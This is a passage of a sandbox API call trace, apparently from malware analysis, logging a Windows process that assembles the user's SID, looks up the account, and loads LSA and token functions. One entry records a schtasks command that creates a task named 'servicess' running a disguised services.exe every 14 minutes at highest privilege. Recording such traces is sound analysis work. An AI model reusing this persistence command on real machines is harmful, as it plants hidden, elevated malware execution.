[0060.306] memcpy (in: _Dst=0x35ec72, _Src=0x381268, _Size=0x4 | out: _Dst=0x35ec72) returned 0x35ec72 [0060.306] free (_Block=0xef020) [0060.306] free (_Block=0xef0a0) [0060.306] malloc (_Size=0x18) returned 0xef0a0 [0060.306] malloc (_Size=0x18) returned 0xef020 [0060.306] SysStringLen (param_1="S-1-5-") returned 0x6 [0060.306] SysStringLen (param_1="21") returned 0x2 [0060.306] memcpy (in: _Dst=0x381268, _Src=0x35ec68, _Size=0xe | out: _Dst=0x381268) returned 0x381268 [0060.306] memcpy (in: _Dst=0x381274, _Src=0x35e908, _Size=0x6 | out: _Dst=0x381274) returned 0x381274 [0060.306] free (_Block=0xef040) [0060.306] free (_Block=0xef0a0) [0060.306] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0060.306] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0060.306] malloc (_Size=0x18) returned 0xef0a0 [0060.306] malloc (_Size=0x18) returned 0xef040 [0060.307] SysStringLen (param_1="S-1-5-21") returned 0x8 [0060.307] SysStringLen (param_1="-") returned 0x1 [0060.307] memcpy (in: _Dst=0x35e908, _Src=0x381268, _Size=0x12 | out: _Dst=0x35e908) returned 0x35e908 [0060.307] memcpy (in: _Dst=0x35e918, _Src=0x35ec68, _Size=0x4 | out: _Dst=0x35e918) returned 0x35e918 [0060.307] free (_Block=0xef020) [0060.307] free (_Block=0xef0a0) [0060.307] malloc (_Size=0x18) returned 0xef0a0 [0060.307] malloc (_Size=0x18) returned 0xef020 [0060.307] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0060.307] SysStringLen (param_1="4219442223") returned 0xa [0060.307] memcpy (in: _Dst=0x337af8, _Src=0x35e908, _Size=0x14 | out: _Dst=0x337af8) returned 0x337af8 [0060.307] memcpy (in: _Dst=0x337b0a, _Src=0x381268, _Size=0x16 | out: _Dst=0x337b0a) returned 0x337b0a [0060.307] free (_Block=0xef040) [0060.307] free (_Block=0xef0a0) [0060.307] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0060.307] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0060.307] malloc (_Size=0x18) returned 0xef0a0 [0060.307] malloc (_Size=0x18) returned 0xef040 [0060.307] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0060.307] SysStringLen (param_1="-") returned 0x1 [0060.307] memcpy (in: _Dst=0x337a58, _Src=0x337af8, _Size=0x28 | out: _Dst=0x337a58) returned 0x337a58 [0060.307] memcpy (in: _Dst=0x337a7e, _Src=0x35e908, _Size=0x4 | out: _Dst=0x337a7e) returned 0x337a7e [0060.307] free (_Block=0xef020) [0060.307] free (_Block=0xef0a0) [0060.308] malloc (_Size=0x18) returned 0xef0a0 [0060.308] malloc (_Size=0x18) returned 0xef020 [0060.308] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0060.308] SysStringLen (param_1="4223814209") returned 0xa [0060.308] memcpy (in: _Dst=0x34d958, _Src=0x337a58, _Size=0x2a | out: _Dst=0x34d958) returned 0x34d958 [0060.308] memcpy (in: _Dst=0x34d980, _Src=0x35e908, _Size=0x16 | out: _Dst=0x34d980) returned 0x34d980 [0060.308] free (_Block=0xef040) [0060.308] free (_Block=0xef0a0) [0060.308] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0060.308] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0060.308] malloc (_Size=0x18) returned 0xef0a0 [0060.308] malloc (_Size=0x18) returned 0xef040 [0060.308] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0060.308] SysStringLen (param_1="-") returned 0x1 [0060.308] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x3e | out: _Dst=0x327668) returned 0x327668 [0060.308] memcpy (in: _Dst=0x3276a4, _Src=0x35e908, _Size=0x4 | out: _Dst=0x3276a4) returned 0x3276a4 [0060.308] free (_Block=0xef020) [0060.308] free (_Block=0xef0a0) [0060.308] malloc (_Size=0x18) returned 0xef0a0 [0060.308] malloc (_Size=0x18) returned 0xef020 [0060.308] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0060.308] SysStringLen (param_1="3835049652") returned 0xa [0060.308] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x40 | out: _Dst=0x34d958) returned 0x34d958 [0060.308] memcpy (in: _Dst=0x34d996, _Src=0x35e908, _Size=0x16 | out: _Dst=0x34d996) returned 0x34d996 [0060.308] free (_Block=0xef040) [0060.309] free (_Block=0xef0a0) [0060.309] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0060.309] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0060.309] malloc (_Size=0x18) returned 0xef0a0 [0060.309] malloc (_Size=0x18) returned 0xef040 [0060.309] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0060.309] SysStringLen (param_1="-") returned 0x1 [0060.309] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x54 | out: _Dst=0x327668) returned 0x327668 [0060.309] memcpy (in: _Dst=0x3276ba, _Src=0x35e908, _Size=0x4 | out: _Dst=0x3276ba) returned 0x3276ba [0060.309] free (_Block=0xef020) [0060.309] free (_Block=0xef0a0) [0060.309] malloc (_Size=0x18) returned 0xef0a0 [0060.309] malloc (_Size=0x18) returned 0xef020 [0060.309] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0060.309] SysStringLen (param_1="1000") returned 0x4 [0060.309] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x56 | out: _Dst=0x34d958) returned 0x34d958 [0060.309] memcpy (in: _Dst=0x34d9ac, _Src=0x35e908, _Size=0xa | out: _Dst=0x34d9ac) returned 0x34d9ac [0060.309] free (_Block=0xef040) [0060.309] free (_Block=0xef0a0) [0060.309] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0060.309] malloc (_Size=0x5e) returned 0xf0800 [0060.309] free (_Block=0xef020) [0060.309] malloc (_Size=0x18) returned 0xef020 [0060.310] free (_Block=0xf0800) [0060.310] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0060.311] GetLastError () returned 0x7a [0060.311] malloc (_Size=0x14) returned 0xef0a0 [0060.311] malloc (_Size=0x16) returned 0xef040 [0060.311] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef0a0, cchName=0xebcca4, ReferencedDomainName=0xef040, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0060.311] malloc (_Size=0x18) returned 0xeef60 [0060.311] malloc (_Size=0x18) returned 0xeef00 [0060.311] free (_Block=0xef0a0) [0060.311] free (_Block=0xef040) [0060.312] free (_Block=0xeff00) [0060.312] free (_Block=0xeef00) [0060.312] free (_Block=0xeef60) [0060.312] free (_Block=0xef020) [0060.312] free (_Block=0xee200) [0060.312] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0060.313] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0060.313] GetLastError () returned 0x7a [0060.313] malloc (_Size=0x2c) returned 0xee240 [0060.313] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0060.313] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0060.313] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0060.313] malloc (_Size=0x1c) returned 0xeff00 [0060.313] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0060.313] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0060.313] malloc (_Size=0x18) returned 0xef020 [0060.313] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0060.313] malloc (_Size=0x18) returned 0xeef60 [0060.313] malloc (_Size=0x18) returned 0xeef00 [0060.313] SysStringLen (param_1="S-1-") returned 0x4 [0060.313] SysStringLen (param_1="5") returned 0x1 [0060.313] memcpy (in: _Dst=0x381268, _Src=0x35ec68, _Size=0xa | out: _Dst=0x381268) returned 0x381268 [0060.313] memcpy (in: _Dst=0x381270, _Src=0x35e908, _Size=0x4 | out: _Dst=0x381270) returned 0x381270 [0060.313] free (_Block=0xef020) [0060.313] free (_Block=0xeef60) [0060.313] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0060.313] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0060.313] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0060.313] malloc (_Size=0x18) returned 0xeef60 [0060.313] malloc (_Size=0x18) returned 0xef020 [0060.313] SysStringLen (param_1="S-1-5") returned 0x5 [0060.314] SysStringLen (param_1="-") returned 0x1 [0060.314] memcpy (in: _Dst=0x35e908, _Src=0x381268, _Size=0xc | out: _Dst=0x35e908) returned 0x35e908 [0060.314] memcpy (in: _Dst=0x35e912, _Src=0x35ec68, _Size=0x4 | out: _Dst=0x35e912) returned 0x35e912 [0060.314] free (_Block=0xeef00) [0060.314] free (_Block=0xeef60) [0060.314] malloc (_Size=0x18) returned 0xeef60 [0060.314] malloc (_Size=0x18) returned 0xeef00 [0060.314] SysStringLen (param_1="S-1-5-") returned 0x6 [0060.314] SysStringLen (param_1="21") returned 0x2 [0060.314] memcpy (in: _Dst=0x35ec68, _Src=0x35e908, _Size=0xe | out: _Dst=0x35ec68) returned 0x35ec68 [0060.314] memcpy (in: _Dst=0x35ec74, _Src=0x381268, _Size=0x6 | out: _Dst=0x35ec74) returned 0x35ec74 [0060.314] free (_Block=0xef020) [0060.314] free (_Block=0xeef60) [0060.314] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0060.314] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0060.314] malloc (_Size=0x18) returned 0xeef60 [0060.314] malloc (_Size=0x18) returned 0xef020 [0060.314] SysStringLen (param_1="S-1-5-21") returned 0x8 [0060.314] SysStringLen (param_1="-") returned 0x1 [0060.314] memcpy (in: _Dst=0x381268, _Src=0x35ec68, _Size=0x12 | out: _Dst=0x381268) returned 0x381268 [0060.314] memcpy (in: _Dst=0x381278, _Src=0x35e908, _Size=0x4 | out: _Dst=0x381278) returned 0x381278 [0060.314] free (_Block=0xeef00) [0060.314] free (_Block=0xeef60) [0060.314] malloc (_Size=0x18) returned 0xeef60 [0060.315] malloc (_Size=0x18) returned 0xeef00 [0060.315] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0060.315] SysStringLen (param_1="4219442223") returned 0xa [0060.315] memcpy (in: _Dst=0x337af8, _Src=0x381268, _Size=0x14 | out: _Dst=0x337af8) returned 0x337af8 [0060.315] memcpy (in: _Dst=0x337b0a, _Src=0x35ec68, _Size=0x16 | out: _Dst=0x337b0a) returned 0x337b0a [0060.315] free (_Block=0xef020) [0060.315] free (_Block=0xeef60) [0060.315] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0060.315] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0060.315] malloc (_Size=0x18) returned 0xeef60 [0060.315] malloc (_Size=0x18) returned 0xef020 [0060.315] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0060.315] SysStringLen (param_1="-") returned 0x1 [0060.315] memcpy (in: _Dst=0x337a58, _Src=0x337af8, _Size=0x28 | out: _Dst=0x337a58) returned 0x337a58 [0060.315] memcpy (in: _Dst=0x337a7e, _Src=0x381268, _Size=0x4 | out: _Dst=0x337a7e) returned 0x337a7e [0060.315] free (_Block=0xeef00) [0060.315] free (_Block=0xeef60) [0060.315] malloc (_Size=0x18) returned 0xeef60 [0060.315] malloc (_Size=0x18) returned 0xeef00 [0060.315] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0060.315] SysStringLen (param_1="4223814209") returned 0xa [0060.315] memcpy (in: _Dst=0x327668, _Src=0x337a58, _Size=0x2a | out: _Dst=0x327668) returned 0x327668 [0060.315] memcpy (in: _Dst=0x327690, _Src=0x381268, _Size=0x16 | out: _Dst=0x327690) returned 0x327690 [0060.315] free (_Block=0xef020) [0060.316] free (_Block=0xeef60) [0060.316] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0060.316] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0060.316] malloc (_Size=0x18) returned 0xeef60 [0060.316] malloc (_Size=0x18) returned 0xef020 [0060.316] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0060.316] SysStringLen (param_1="-") returned 0x1 [0060.316] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x3e | out: _Dst=0x34d958) returned 0x34d958 [0060.316] memcpy (in: _Dst=0x34d994, _Src=0x381268, _Size=0x4 | out: _Dst=0x34d994) returned 0x34d994 [0060.316] free (_Block=0xeef00) [0060.316] free (_Block=0xeef60) [0060.316] malloc (_Size=0x18) returned 0xeef60 [0060.316] malloc (_Size=0x18) returned 0xeef00 [0060.316] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0060.316] SysStringLen (param_1="3835049652") returned 0xa [0060.316] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x40 | out: _Dst=0x327668) returned 0x327668 [0060.316] memcpy (in: _Dst=0x3276a6, _Src=0x381268, _Size=0x16 | out: _Dst=0x3276a6) returned 0x3276a6 [0060.316] free (_Block=0xef020) [0060.316] free (_Block=0xeef60) [0060.316] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0060.316] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0060.316] malloc (_Size=0x18) returned 0xeef60 [0060.316] malloc (_Size=0x18) returned 0xef020 [0060.316] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0060.317] SysStringLen (param_1="-") returned 0x1 [0060.317] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x54 | out: _Dst=0x34d958) returned 0x34d958 [0060.317] memcpy (in: _Dst=0x34d9aa, _Src=0x381268, _Size=0x4 | out: _Dst=0x34d9aa) returned 0x34d9aa [0060.317] free (_Block=0xeef00) [0060.317] free (_Block=0xeef60) [0060.317] malloc (_Size=0x18) returned 0xeef60 [0060.317] malloc (_Size=0x18) returned 0xeef00 [0060.317] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0060.317] SysStringLen (param_1="1000") returned 0x4 [0060.317] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x56 | out: _Dst=0x327668) returned 0x327668 [0060.317] memcpy (in: _Dst=0x3276bc, _Src=0x381268, _Size=0xa | out: _Dst=0x3276bc) returned 0x3276bc [0060.317] free (_Block=0xef020) [0060.317] free (_Block=0xeef60) [0060.317] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0060.317] malloc (_Size=0x5e) returned 0xf0800 [0060.317] free (_Block=0xeef00) [0060.317] malloc (_Size=0x18) returned 0xeef00 [0060.318] free (_Block=0xf0800) [0060.318] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0060.319] GetLastError () returned 0x7a [0060.319] malloc (_Size=0x14) returned 0xeef60 [0060.319] malloc (_Size=0x16) returned 0xef020 [0060.319] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef60, cchName=0xebccb4, ReferencedDomainName=0xef020, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0060.320] malloc (_Size=0x18) returned 0xef040 [0060.320] malloc (_Size=0x18) returned 0xef0a0 [0060.320] free (_Block=0xeef60) [0060.320] free (_Block=0xef020) [0060.320] free (_Block=0xeff00) [0060.320] free (_Block=0xef0a0) [0060.320] free (_Block=0xef040) [0060.320] free (_Block=0xeef00) [0060.321] free (_Block=0xee240) [0060.321] malloc (_Size=0x48) returned 0xed2c0 [0060.321] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0060.328] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0060.328] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0060.328] malloc (_Size=0x18) returned 0xeef00 [0060.328] CreateEnvironmentBlock () returned 0x1 [0060.335] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0060.335] malloc (_Size=0x18) returned 0xef040 [0060.335] CreateProcessAsUserW (in: hToken=0x2d4, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"servicess\" /sc MINUTE /mo 14 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"servicess\" /sc MINUTE /mo 14 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2fc, hThread=0x248, dwProcessId=0xf00, dwThreadId=0xf04)) returned 1 [0060.340] CloseHandle (hObject=0x2fc) returned 1 [0060.340] CloseHandle (hObject=0x248) returned 1 [0060.341] free (_Block=0xef040) [0060.341] DestroyEnvironmentBlock () returned 0x1 [0060.341] malloc (_Size=0x48) returned 0xed270 [0060.341] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x4d1a0ca0, dwHighDateTime=0x1d9eb0c)) [0060.341] SetEvent (hEvent=0x1f0) returned 1 [0060.341] CloseHandle (hObject=0x2e0) returned 1 [0060.341] CloseHandle (hObject=0x2d4) returned 1 [0060.424] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da90 [0060.424] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da90, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0060.424] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0061.413] SetLastError (dwErrCode=0x0) [0061.413] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0061.414] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0061.414] SetLastError (dwErrCode=0x0) [0061.414] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0) returned 1 [0061.414] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0061.414] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0061.414] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f510 [0061.414] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f510, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0061.414] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f510 | out: hHeap=0x2e0000) returned 1 [0061.416] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0061.416] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0061.417] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0061.417] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0061.417] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0061.417] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0061.417] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0061.419] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0061.419] GetCurrentThread () returned 0xfffffffffffffffe [0061.419] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x2d4) returned 1 [0061.419] malloc (_Size=0xd8) returned 0xf4740 [0061.419] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0061.419] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0061.420] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0061.420] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0061.420] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0061.420] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0061.420] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0061.420] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0061.420] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0061.421] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0061.421] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0061.421] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0061.421] GetProcAddress (hModule=0x7feffcb0000, 